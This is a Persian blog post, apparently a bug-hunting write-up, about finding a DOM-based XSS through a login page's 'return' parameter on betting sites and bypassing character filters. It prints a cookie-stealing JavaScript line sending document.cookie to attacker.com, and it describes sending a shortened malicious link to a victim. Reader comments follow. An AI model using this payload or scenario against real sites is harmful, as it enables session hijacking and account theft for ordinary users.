شرطبندی یکی از موضوعاتیه که امروزه همه درموردش صحبت میکنن. پس تصمیم گرفتم که توی این سایت ها دنبال آسیب پذیری بگردم. حدود 80 درصد سایت هایی که میبینیم، از یک اسکریپت واحد استفاده میکنن. یعنی اگر یکی از اونها باگ داشته باشه، بقیه هم همون آسیب پذیری رو دارن و چند میلیون کاربر در خطر هستند!
قدم اول – جمع آوری اطلاعات
باید دنبال صفحات آسیب پذیر میگشتم. چندین بخش سایت رو چک کردم ولی به نتیجه ای نرسیدم. به طور خیلی اتفاقی متوجه شدم صفحه لاگین حتی در صورتی که وارد حساب شده باشیم به ما نمایش داده میشه. خب این میتونه یه خطای کدنویسی باشه ولی زمانی خطرناک میشه که بتونیم از این صفحه آسیب پذیری پیدا کنیم. اونوقت به دلیل اینکه کاربر از قبل وارد حساب خودش شده، شاید ماهم بتونیم به اکانتش دسترسی پیدا کنیم. (جلو تر توضیح میدم)
به عنوان اولین قدم، باید سورس صفحه رو بررسی میکردم. متوجه شدم این صفحه پارامتری با نام return رو دریافت میکنه. درواقع این پارامتر آدرسی هست که کاربر بعد از لاگین به اونجا منتقل میشه. این مقدار به طور مستقیم در DOM استفاده شده و درصورت آسیب پذیر بودن به ما امکان اجرای کدهای جاوااسکریپت رو میده.
قدم دوم – آسیب پذیری
باگ DOM-Based XSS اولین چیزی بود که به ذهنم رسید. همونطور که میبینید اطلاعات کاربر شامل اکسس توکن، نام، شناسه کاربری، موجودی و.. در کوکی ها ذخیره میشه. جاوااسکریپت به دلیل مسائل امنیتی اجازه خوندن کوکی های HttpOnly رو نداره ولی این فلگ برای access_token فعال نشده و دقیقا همون چیزیه که بهش نیاز داریم! حالا باید پیلود خودمون رو برای دزدیدن کوکی های کاربر آماده کنیم.
به طور کلی مهم ترین چالش این آسیب پذیری، فیلتر شدن پارامتر ورودی بود. با امتحان کردن عبارت های مختلف تونستم کاراکتر های ممنوعه رو پیدا کنم.
قدم سوم – دریافت کوکی های کاربر
برای ارسال کوکی به سرور خودمون باید از پیلود زیر استفاده کنیم. ولی به دلیل فیلتر کاراکتر ها، اجرا نمیشه!
var url = "http://attacker.com/evil.php?cookie=" + document.cookie;
document.location = url;
در قدم اول باید URL رو به صورت زیر بایپس کنیم:
مشکل بعدی: به دلیل فیلتر شدن علامت جمع (+)، نمیتونیم کوکی رو به ادامه URL خودمون اضافه کنیم.
بایپس: آدرس رو به دو قسمت (سایت و کوکی) تقسیم و با concat در متغیر جدید به همدیگه متصل میکنیم.
قدم آخر – سناریو و آزمایش
لینک صفحه آسیب پذیر رو کوتاه، و برای تارگت ارسال میکنیم. با توجه به کد های جاوااسکریپت، پارامتر رو باید به صورتی وارد کنیم که پیلود خارج از شرط بیفته تا به محض باز شدن صفحه، کوکی کاربر برای ما ارسال بشه. پیلود نهایی :
نتیجه:
ویدیو POC:
جالب بود دمت گرم
داداش ایول خیلی خوب بود لذت بردم مخصوصا اینکه سایت شرطبندی بود خیلی عشق کردم بازم پست بزار دمت گرم
[…] من در کشف و اکسپلویت آسیب پذیری XSS) رو نخوندین، روی این لینک کلیک […]
عالییی بود.
عالی بود